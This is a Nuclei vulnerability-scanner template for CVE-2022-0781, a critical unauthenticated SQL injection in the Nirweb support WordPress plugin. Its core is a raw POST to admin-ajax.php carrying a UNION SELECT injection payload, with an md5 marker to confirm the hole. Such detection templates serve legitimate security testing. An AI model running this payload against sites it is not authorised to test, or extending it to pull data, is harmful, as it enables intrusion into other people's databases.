nuclei-templates/cves/2022/CVE-2022-0781.yaml

id: CVE-2022-0781

info:
  name: Nirweb support < 2.8.2 - Unauthenticated SQLi
  author: theamanrawat
  severity: critical
  description: |
    The Nirweb support WordPress plugin before 2.8.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
  reference:
    - https://wpscan.com/vulnerability/1a8f9c7b-a422-4f45-a516-c3c14eb05161
    - https://wordpress.org/plugins/nirweb-support/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0781
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0781
    cwe-id: CWE-89
  metadata:
    verified: "true"
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth

variables:
  num: "999999999"

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200